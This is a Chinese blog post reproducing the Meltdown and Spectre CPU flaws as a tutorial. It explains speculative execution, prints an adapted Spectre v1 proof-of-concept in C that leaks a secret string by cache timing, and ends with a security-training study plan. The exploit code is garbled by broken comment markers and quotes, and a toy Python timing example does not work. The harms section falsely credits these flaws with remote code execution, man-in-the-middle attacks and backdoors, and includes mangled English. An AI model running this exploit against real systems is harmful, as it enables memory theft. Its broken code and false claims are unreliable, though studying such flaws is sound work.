熔断&幽灵漏洞复现

程序员负总裁

于 2024-03-14 12:58:18 发布

阅读量959

点赞数 22

文章标签：人工智能安全 sql

本文链接：https://blog.csdn.net/Innocence_0/article/details/136707172

版权

熔断&幽灵漏洞（CVE-2017-5753，CVE-2017-5754）

![](https://img-
blog.csdnimg.cn/img_convert/0519c1331924c5ea2f9781f6f2911462.jpeg)

熔断&幽灵漏洞（CVE-2017-5753，CVE-2017-5754）

漏洞介绍

漏洞原理

demo

具体原理

漏洞危害

漏洞复现

漏洞查找

代码实现

运行结果

漏洞修复

PPT代码

漏洞介绍

熔断（英语：Meltdown），也译崩溃 [[3]](https://zh.wikipedia.org/zh-
cn/%E7%86%94%E6%AF%81_%28%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%29#cite_note-3
“3]”)，编号CVE-[2017-5754](https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2017-5754 “2017-5754”)，正式名称为“Rogue Data Cache
Load”，常译作“ 恶意数据缓存加载 ”[[4]](https://zh.wikipedia.org/zh-
cn/%E7%86%94%E6%AF%81_%28%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%29#cite_note-4
“4]”)[[5]](https://zh.wikipedia.org/zh-
cn/%E7%86%94%E6%AF%81_%28%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%29#cite_note-5
“5]”)，是一个存在于英特尔大部分x86/x86-64微处理器、部分IBM
POWER架构处理器以及部分ARM架构处理器中的关于推测执行机制的硬件设计缺陷及安全漏洞[[6]](https://zh.wikipedia.org/zh-
cn/%E7%86%94%E6%AF%81_%28%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%29#cite_note-6
“6]”)[[7]](https://zh.wikipedia.org/zh-
cn/%E7%86%94%E6%AF%81_%28%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%29#cite_note-
auto1-7 “7]”)[[8]](https://zh.wikipedia.org/zh-
cn/%E7%86%94%E6%AF%81_%28%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%29#cite_note-
AT-20180105-8
“8]”)。该缺陷使得低权限的进程无论是否获取特权，均可以获取受高权限保护的内存空间中的资料，漏洞利用是基于时间的旁路攻击。2018年1月，该缺陷随另一个基于推测执行机制的重量级信息安全漏洞、硬件缺陷“Spectre”（幽灵）在通用漏洞披露中公布。

幽灵
（英语：Spectre）是一个存在于分支预测实现中的硬件缺陷及安全漏洞，含有预测执行功能的现代微处理器均受其影响[[1]](https://zh.wikipedia.org/zh-
cn/%E5%B9%BD%E7%81%B5%E6%BC%8F%E6%B4%9E#cite_note-wired1-1
“1]”)[[2]](https://zh.wikipedia.org/zh-
cn/%E5%B9%BD%E7%81%B5%E6%BC%8F%E6%B4%9E#cite_note-AT-20180105-2
“2]”)，漏洞利用是基于时间的旁路攻击，允许恶意进程获得其他程序在映射内存中的资料内容。[[3]](https://zh.wikipedia.org/zh-
cn/%E5%B9%BD%E7%81%B5%E6%BC%8F%E6%B4%9E#cite_note-MeltdownSpectre-3
“3]”)[[4]](https://zh.wikipedia.org/zh-
cn/%E5%B9%BD%E7%81%B5%E6%BC%8F%E6%B4%9E#cite_note-NYT-20180103-4
“4]”)[[5]](https://zh.wikipedia.org/zh-
cn/%E5%B9%BD%E7%81%B5%E6%BC%8F%E6%B4%9E#cite_note-5
“5]”)Spectre是一系列的漏洞，基于攻击行为类型，赋予了两个通用漏洞披露ID，分别是CVE-[2017-5753](https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2017-5753 “2017-5753”)（bounds check
bypass，边界检查绕过）和CVE-[2017-5715](https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2017-5715 “2017-5715”)（branch target
injection，分支目标注入），于2018年1月随同另一个也基于推测执行机制的、属于重量级信息安全漏洞的硬件缺陷“Meltdown”（熔毁）一同公布。由于该缺陷是推测执行机制导致的，加上不同处理器架构对推测执行又有不同的实现方式，因此这个缺陷无法获得根源上的修复而只能采取“见招拆招”式的方法防范，而且因机制所致，各种解决方案还有不可预料的性能下降。[[6]](https://zh.wikipedia.org/zh-
cn/%E5%B9%BD%E7%81%B5%E6%BC%8F%E6%B4%9E#cite_note-6 “6]”)

查阅上述维基百科资料可知，熔断漏洞有时也被称为崩溃，编号为CVE-2017-5754。它存在于大部分英特尔x86/x86-64微处理器、部分IBM
POWER架构处理器以及部分ARM架构处理器中的推测执行机制中。该漏洞可以使低权限的进程利用时间旁路攻击获得高权限保护的内存空间中的数据，而且漏洞利用与是否获取特权无关。幽灵漏洞编号分别是CVE-2017-5753和CVE-2017-5715，存在于含有预测执行功能的现代微处理器中。该漏洞基于时间旁路攻击，允许恶意进程获得其他程序在映射内存中的数据内容。Spectre是一系列的漏洞，基于攻击行为类型赋予了两个通用漏洞披露ID。由于该缺陷是推测执行机制导致的，所以这个漏洞无法获得根源上的修复，只能采取“见招拆招”式的方法防范。各种解决方案还存在性能下降的问题。

为什么被翻译成“熔断漏洞”？

或许是因为"Meltdown"本意是指"有核反应堆燃料棒熔毁的意外"，在安全领域被引申为指由于处理器执行时出现异常，导致敏感数据暴露的危险情况。在熔断漏洞中，低权限的进程可以读取高权限进程的数据，这造成了巨大的安全威胁，因此我们将其翻译为“熔断漏洞”也是为了突出其危害性。

漏洞原理

Meltdown——“熔断”漏洞，是一种侧信道攻击，信道是CPU读取内存的时间。利用该漏洞，我们可以在用户态读取内核态任意地址的数据。

demo

假设用户态存在如下汇编指令：

; rcx = kernel address
; rbx = array_addr in userspace, assume array[256*4096]
mov al, byte [rcx] ; read kernel address value and must be failed!
shl rax, 0xc  ; rax = al *4096
mov rcx, qword [rbx + rax] ; read array[X*4096]

首先从kernel address（内核态）中读取 1B 数据X，X范围为
0~255。接下来将X*4096，数组所在进程空间对应到内核页表中属于不同的页。最后读rbx数组中不同页表中的值，保存到rcx中。

CPU做了哪些事情呢？
CPU执行line3时，会知道当前是kernel的addr，权限检查读取失败。但是这一步骤很慢，由于CPU可以同时执行多条指令（前辈们把这个叫乱序执行和推测执行），因此line4和line5也执行了。达到的效果是，CPU是知道X的值的，利用X的值，从内核页表中读取array不同页表中的值保存到rcx中，同时也把该页表加入缓存。虽然等CPU回过神来，al的值其实是拿不到的，但是加入缓存这个操作已经完成了。

因此，用户态就可以遍历array的256个页表，看看读哪个页表的时间短，就猜到了X的值。

具体原理

参考视频：https://www.youtube.com/watch?v=orxngUyl2PQ

预备知识

内存和缓存

访问内存很慢，但访问缓存很快，CPU的工作速度也很快。CPU访问过一快内存数据后，会把它放到缓存。

![](https://img-
blog.csdnimg.cn/img_convert/855d01125a9dbb44ac9ee14c150cc465.png)

预测执行

示例代码如下：

if(mem==0)
{
    instructino A;
    instruction B;
    ...;
}

由于CPU很快，但访问内存很慢，所以CPU在执行if条件判断时会做预执行，即在访问内存判断mem==0的过程中，执行其中的instructino A;等等。如果mem==0成立则猜对了，如果不成立则回滚，但这里只回滚寄存器，不回滚缓存。

侧信道攻击

测信道攻击（Side-Channel
Attack）是一种基于对加密算法运行时的物理实现特征分析，从而获取秘密密钥等保密信息的攻击方式。下面是一个简单的测信道攻击示例代码：

import time

# 需要猜测的秘密数
secret_number = 1234

# 对秘密数进行某种加密操作
def encrypt(number):
    # 对数字进行异或操作
    return number ^ 0xA5A5

# 判断两个数字的二进制表示在第n位是否相同
def bit(n, number1, number2):
    mask = 1 << n
    return (number1 & mask) == (number2 & mask)

# 测量加密函数的执行时间
def measure_time():
    start_time = time.time()
    encrypt(secret_number)
    end_time = time.time()
    return end_time - start_time

# 使用测量时间来猜测秘密数
def guess_secret_number():
    for i in range(16):
        # 将时间作为测量指标，用于判断两个数字的二进制表示在第i位是否相同
        time_0 = measure_time()
        time_1 = measure_time()
        # 如果两次执行时间相差较大，则说明该位为1；否则为0
        if time_1 > time_0:
            bit_i = 1
        else:
            bit_i = 0
        # 使用二进制位值还原出秘密数
        secret_number_guess = bit_i << i | secret_number_guess
    return secret_number_guess

# 测试猜测结果是否正确
secret_number_guess = guess_secret_number()
if secret_number_guess == encrypt(secret_number):
    print("猜测成功！秘密数为：", secret_number_guess)
else:
    print("猜测失败！")

首先定义了一个需要猜测的秘密数secret_number，以及一个加密函数encrypt，其中使用了异或操作。然后定义了一个用于判断两个数字的二进制表示在第n位是否相同的函数bit（实际运用中有多种判断方式），以及一个用于测量加密函数执行时间的函数measure_time。最后，使用测量时间来猜测秘密数的函数guess_secret_number，通过16次迭代，根据加密函数执行时间的差异不断推测秘密数的二进制值，最终得到猜测结果，并进行测试判断是否正确。

攻击步骤

我们假设需要知道一块内存的A[X]，这块区域是合法情况下访问不到的。首先执行一段这样的代码：

我们在内存中开辟一段连续空间叫做
Instrument[]，这个数组根据现实需求划定长度，并且要求CPU不要拷贝到缓存，只在内存。接下来执行一段这样的if语句：

if(世界是平的):
    access Instrument[A[X]]

这段代码执行时，显然世界不是平的，所以根据上面的 预测执行
知识，CPU会去读A[X]中的内容。在这个读的过程中，CPU不会认为这是非法的，因为内核（kernel）还没来得及发出指令。

假设访问结果A[X]=4，之后CPU就会访问Instrument[4]。CPU访问后，还会把这块内存中的内容放到缓存中。

那么接下来，我们遍历整个Instrument数组，就会发现除了Instrument[4]访问特别快，其他都是很慢的，因此我们可以得知，A[X]=4。这就是整个熔断&幽灵漏洞攻击的大致原理和步骤。

漏洞危害

熔断幽灵(断点幽灵)漏洞有以下主要危害:

信息泄露。可以获取内部网络的信息,如主机名、用户名、密码等敏感信息。这些信息可以用于后续的攻击。
权限提升。可以利用漏洞获取超级用户权限,完全控制系统。
身份渗透。可以用 compromised 帐户进行各种操作,深入网络内部。
远程执行代码。可以通过此漏洞直接在系统上执行任意代码,进行系统破坏或后门留置。
中间人攻击。可以在通信过程中劫持会话,进行密码 cracking 等攻击。
拒绝服务攻击。通过大量利用此漏洞,可以使系统宕机或资源耗尽,导致服务 unavailable。
待在后门。 canleave后门或反向Shell在 systempersist 在系统中,以便随时返回与系统互动。
反弹攻击。攻击者利用该漏洞攻击系统,然后系统被破坏后用来攻击更多目标的意外结果。

漏洞复现

漏洞查找

首先判断自己的操作系统是否含有熔断漏洞，进入设置查看处理器：

设备名称    DESKTOP-BLLAM41
处理器      AMD Ryzen 5 3550H with Radeon Vega Mobile Gfx     2.10 GHz
机带 RAM    16.0 GB (14.9 GB 可用)
设备 ID     9F81D002-F098-4D9A-A375-F44AABF2698E
产品 ID     00331-10000-00001-AA751
系统类型    64 位操作系统, 基于 x64 的处理器
笔和触控    没有可用于此显示器的笔或触控输入

其中，AMD Ryzen 5 3550H是一款由AMD推出的移动处理器，采用14纳米制程工艺，拥有4个物理核心和8个线程。该处理器的基础频率为2.1
GHz，最高可达3.7 GHz。它还配备了Radeon Vega Mobile
Gfx集成显卡，可提供出色的图形性能。<https://www.amd.com/zh-hans/products/apu/amd-
ryzen-5-3550h>

经过查阅得知，AMD Ryzen 5 3550H处理器是存在熔断&幽灵漏洞的。参考链接：<https://www.zebra.com/cn/zh/support-
downloads/lifeguard-security/spectre-meltdown.html>

幽灵可从机器上运行的其他应用程序的内存中窃取数据，影响几乎各种现代处理器，包括来自 AMD、ARM 和 Intel 的处理器。
熔断能够读取受保护的内存，操作系统更新可以轻易修复此漏洞，影响范围似乎仅限于 Intel 芯片。

代码实现

这类代码在网上开源的有很多：

https://github.com/Eugnis/spectre-attack
https://github.com/feruxmax/meltdown
https://github.com/gkaindl/meltdown-poc
https://github.com/turbo/KPTI-PoC-Collection

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#ifdef _MSC_VER
#include <intrin.h> /* rdtscp 和 clflush 用 /
#pragma optimize(“gt”, on)
#else
#include <x86intrin.h> / rdtscp 和 clflush 用 /
#endif

// 定义常量：观察路径
#define CACHE_HIT_THRESHOLD (80) / 内存访问时间小于等于这个值时认为已经命中cache /

/*******************************************************************
受害函数
/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char secret = “The Secret is yhryhryhr”; // 需要保护的机密信息
uint8_t temp = 0; / 用于防止编译器优化掉 victim_function() /

void victim_function(size_t x)
{
if (x < array1_size)
{
temp &= array2[array1[x] * 512]; // 访问 array1[x] 对应位置的内存，将最终结果存储到 temp 中
}
}

/*
分析代码
******************************************************************/
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2])
{
static int results[256];
int tries, i, j, k, mix_i;
unsigned int junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t addr;

for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries–)
{
// 清空 array2 缓存
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); / clflush 指令 /

// 训练和攻击循环
training_x = tries % array1_size;
for (j = 29; j >= 0; j–)
{
_mm_clflush(&array1_size);
for (volatile int z = 0; z < 100; z++)
{
} / 延时（也可以使用 mfence）/

// 偏移地址，避免分支预测
x = ((j % 6) - 1) & ~0xFFFF; / 如果 j%6==0，则 x=FFF.FF0000，否则 x=0 /
x = (x | (x >> 16)); / 如果 j%6=0，则 x=-1，否则 x=0 /
x = training_x ^ (x & (malicious_x ^ training_x));

// 调用受害函数
victim_function(x);
}

// 测量内存读取时间
for (i = 0; i < 256; i++)
{
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); / 读取计时器 */
junk = addr; / 访问内存 /
time2 = __rdtscp(&junk) - time1; / 读取计时器，计算时间差 /
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; / 缓存命中 /
}

// 找到访问次数最多的两个位置
j = k = -1;
for (i = 0; i < 256; i++)
{
if (j < 0 || results[i] >= results[j])
{
k = j;
j = i;
}
else if (k < 0 || results[i] >= results[k])
{
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; / 提前结束循环 /

// 使results[0] 的结果不会被优化掉
results[0] ^= junk;
}
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}

int main(int argc, const char * argv)
{
printf(“将 ‘%s’ 写入内存，地址为：%p\n”, secret, (void *)(secret));
size_t malicious_x = (size_t)(secret - (char )array1); / 默认值 /
int len = strlen(secret);
uint8_t value[2];
int score[2];

for (size_t i = 0; i < sizeof(array2); i++)
array2[i] = 1; / 写入 array2，使其在 RAM 中而非 copy-on-write 内存中 */
if (argc == 3)
{
sscanf_s(argv[1], “%p”, (void * *)(&malicious_x)); // 检验输入是否合法
malicious_x -= (size_t)array1;
sscanf_s(argv[2], “%d”, &len);
printf(“设定 malicious_x=%p，长度为 %d\n”, (void *)malicious_x, len);
}

printf(“读取 %d 个字节：\n”, len);
while (–len >= 0)
{
readMemoryByte(malicious_x++, value, score);
printf("读取地址为 %p 处的值… ", (void )(malicious_x - 1));
if (score[0] >= 2 * score[1]) {
printf(“可能命中，值为：0x%02X=‘%c’，得分为：%d “, value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : ‘?’), score[0]);
if (score[1] > 0) {
printf(”(第二高的是：0x%02X=‘%c’，得分为：%d)”, value[1],
(value[1] > 31 && value[1] < 127 ? value[1] : ‘?’), score[1]);
}
}
else {
printf(“不命中 “);
}
printf(”\n”);
}

#ifdef _MSC_VER
printf(“按下回车键结束…\n”);
getchar(); / 在 Windows 控制台暂停 */
#endif
return 0;
}

运行结果

漏洞修复

这个漏洞是目前见过最恐怖的漏洞，因为这是一个很难修复的硬件漏洞。首先，硬件漏洞可以通过JavaScript进行攻击，攻击的方法不需要钓鱼，就可以获取浏览器缓存中的用户密码等信息。其次，想要修复这个漏洞，CPU的处理速度必定会降低，这样无疑又增加了很多工作量。

目前Intel及其他芯片厂商尚未发布修补补丁。

但大多数操作系统商（微软、CentOS）和云技术厂商已经发布了临时补丁，但对于系统性能会有影响，需要谨慎评估后再进行修复。

PPT代码

## 熔断 幽灵漏洞
CVE-2017-5754；CVE-2017-5753

![](https://pic1.zhimg.com/v2-666c34510675547bd40b152594170c1a_720w.jpg?source=172ae18b)   <!-- .element: style="height:500px; " --> 

## 漏洞介绍

<red>熔断和幽灵都是现代微处理器中存在的安全漏洞。 </red>  
熔断漏洞存在于Intel、IBM和ARM等处理器中，使得低权限的进程可以获取高权限保护的内存空间的数据。而幽灵漏洞则存在于支持分支预测功能的现代微处理器中，允许恶意进程获得其他程序在内存中的数据。这两个漏洞都是基于时间的测信道攻击，并且都有CVE编号。由于缺陷是<grey> 建立在推测执行机制上的硬件漏洞</grey> ，因此对缺陷进行<red>根本性的修复几乎是不可能的</red> ，解决方案只能采取“见招拆招”式的方法防范。

### 熔断漏洞
> **熔断**（Meltdown），编号[CVE](https://zh.wikipedia.org/wiki/通用漏洞披露)-[2017-5754](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5754)，正式名称为“Rogue Data Cache Load”，常译作“**恶意数据缓存加载**”[[4\]](https://zh.wikipedia.org/zh-cn/熔毁_(安全漏洞)#cite_note-4)[[5\]](https://zh.wikipedia.org/zh-cn/熔毁_(安全漏洞)#cite_note-5)，是一个存在于[英特尔大部分x86/x86-64微处理器](https://zh.wikipedia.org/wiki/英特尔微处理器列表)、部分[IBM POWER架构](https://zh.wikipedia.org/wiki/IBM_POWER)处理器以及部分[ARM架构](https://zh.wikipedia.org/wiki/ARM架構)处理器中的关于[推测执行](https://zh.wikipedia.org/wiki/推测执行)机制的[硬件设计缺陷及安全漏洞](https://zh.wikipedia.org/wiki/计算机安全隐患)[[6\]](https://zh.wikipedia.org/zh-cn/熔毁_(安全漏洞)#cite_note-6)[[7\]](https://zh.wikipedia.org/zh-cn/熔毁_(安全漏洞)#cite_note-auto1-7)[[8\]](https://zh.wikipedia.org/zh-cn/熔毁_(安全漏洞)#cite_note-AT-20180105-8)。该缺陷使得低权限的[进程](https://zh.wikipedia.org/wiki/进程)无论是否[获取特权](https://zh.wikipedia.org/wiki/权限提升)，均可以获取受高权限保护的[内存](https://zh.wikipedia.org/wiki/虚拟内存)空间中的资料。
 
### 幽灵漏洞
> **幽灵**（Spectre）是一个存在于[分支预测](https://zh.wikipedia.org/wiki/分支預測器)实现中的[硬件缺陷及安全漏洞](https://zh.wikipedia.org/wiki/计算机安全隐患)，含有[预测执行](https://zh.wikipedia.org/wiki/预测执行)功能的现代[微处理器](https://zh.wikipedia.org/wiki/微处理器)均受其影响[[1\]](https://zh.wikipedia.org/zh-cn/幽灵漏洞#cite_note-wired1-1)[[2\]](https://zh.wikipedia.org/zh-cn/幽灵漏洞#cite_note-AT-20180105-2)，[漏洞利用](https://zh.wikipedia.org/wiki/漏洞利用)是基于时间的[旁路攻击](https://zh.wikipedia.org/wiki/旁路攻击)，允许恶意[进程](https://zh.wikipedia.org/wiki/进程)获得其他程序在[映射内存](https://zh.wikipedia.org/wiki/虚拟内存)中的资料内容。Spectre是一系列的漏洞，基于攻击行为类型，赋予了两个[通用漏洞披露](https://zh.wikipedia.org/wiki/通用漏洞披露)ID，分别是[CVE](https://zh.wikipedia.org/wiki/通用漏洞披露)-[2017-5753](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5753)和[CVE](https://zh.wikipedia.org/wiki/通用漏洞披露)-[2017-5715](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5715)，于2018年1月随同硬件漏洞“Meltdown”（[熔毁](https://zh.wikipedia.org/wiki/熔断_(安全漏洞))）一同公布。


## 漏洞危害
1. <red>信息泄露</red>。可以获取内部网络的信息,如主机名、用户名、密码等敏感信息。这些信息可以用于后续的攻击。
2. <red>权限提升</red>。可以利用漏洞获取超级用户权限,完全控制系统。
3. <red>身份渗透</red>。可以用 compromised 帐户进行各种操作,深入网络内部。
4. <red>远程执行代码</red>。可以通过此漏洞直接在系统上执行任意代码,进行系统破坏或后门留置。
5. <red>后门</red>。 canleave后门或反向Shell在 systempersist 在系统中,以便随时返回与系统互动。

# 漏洞复现(c++版)

## 查看漏洞是否存在

进入设置查看处理器，判断是否存在漏洞： 
```text
处理器     AMD Ryzen 5 3550H with Radeon Vega Mobile Gfx     2.10 GHz
机带 RAM    16.0 GB (14.9 GB 可用)  
```
经过查阅得知，AMD Ryzen 5 3550H 处理器是存在熔断&幽灵漏洞的.<!-- .element: class="fragment" -->  

- 幽灵可从机器上运行的其他应用程序的内存中窃取数据，影响几乎各种现代处理器，包括来自 AMD、ARM 和 Intel 的处理器。<!-- .element: class="fragment" style="color:red"--> 
- 熔断能够读取受保护的内存，操作系统更新可以轻易修复此漏洞，影响范围似乎仅限于 Intel 芯片。<!-- .element: class="fragment" style="color:red" --> 

## 预备知识

1. 内存和缓存
2. 预测执行
3. 测信道攻击

### 内存和缓存

访问内存很慢，但访问缓存很快，CPU的工作速度也很快。CPU访问过内存数据后，会把它放到缓存。

![](https://pic4.zhimg.com/80/v2-1ceec2f12c6d43e719a96e9f37dd256f_1440w.webp)   <!-- .element: style="height:500px; " --> 

### CPU预测执行
由于CPU很快，但访问内存很慢，因此执行如下代码时，CPU会有<red>预测执行</red>的工作，这是人为设计的。
```c[1-1|2-2|4-6]
// if条件判断
if(mem==0)
{
    instructino A;
    instruction B;
    ...;
}
```
- 如果mem==0成立，则猜对了。<!-- .element: class="fragment" -->  
- 反之则回滚。但这里只回滚寄存器，不回滚缓存。<!-- .element: class="fragment" --> 

### 测信道攻击

测信道攻击（Side-Channel Attack）是一种基于对加密算法运行时的物理实现特征分析，从而获取秘密密钥等保密信息的攻击方式。
![](https://imgs.xiedaimala.com/1cukoMNtlvcpIbYF5KmszijtuGSFegWA/image-20230418092730383.png)<!-- .element: style="height:350px" -->   

## 窃取`A[X]`内容
```python
if(郭佳明.height > 170):
    access Instrument[A[X]]
```

![](https://imgs.xiedaimala.com/bpIDR2dK416d7VkNlMdmxXIOzakE958Y/image-20230417230502536.png)<!-- .element: class="fragment" style="height:300px" -->
- 访问A[X]（假设为4）<!-- .element: class="fragment" --> 
- 访问Instrument[4]并写入缓存<!-- .element: class="fragment" --> 
- 遍历Instrument，响应时间最短的下标即为A[X]的值。<!-- .element: class="fragment" style="color:red" --> 


## 攻击结果
![](https://imgs.xiedaimala.com/f76oJC8PmxAQdbh71LkPMyFn8e0eeo6V/image-20230417235614530.png)<!-- .element: style="height:550px" -->    

## 漏洞防护

- 对于幽灵漏洞，主要的解决方案是通过软件升级、操作系统更新和处理器微码更新等方式来修复。各大厂商已经陆续推出了相关的修复方案，在使用相应产品时需要及时更新。

- 对于熔断漏洞，也需要通过软件升级和更新操作系统以及处理器微码来进行修复。与幽灵漏洞不同的是，熔断漏洞的影响范围较小，只影响特定的CPU厂商，因此修复方案也相对简单。

接下来我将给各位同学划分一张学习计划表！

学习计划

那么问题又来了，作为萌新小白，我应该先学什么，再学什么？
既然你都问的这么直白了，我就告诉你，零基础应该从什么开始学起：

阶段一：初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划，当你学完后，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web渗透、安全服务、安全分析等岗位；其中，如果你等保模块学的好，还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（1周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（1周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（1周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）

那么，到此为止，已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗？

阶段二：中级or高级网络安全工程师（看自己能力）

综合薪资区间15k~30k

7、脚本编程学习（4周）
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力。

零基础入门的同学，我建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习
搭建开发环境和选择IDE，PHP环境推荐Wamp和XAMPP，IDE强烈推荐Sublime；

Python编程学习，学习内容包含：语法、正则、文件、网络、多线程等常用库，推荐《Python核心编程》，没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。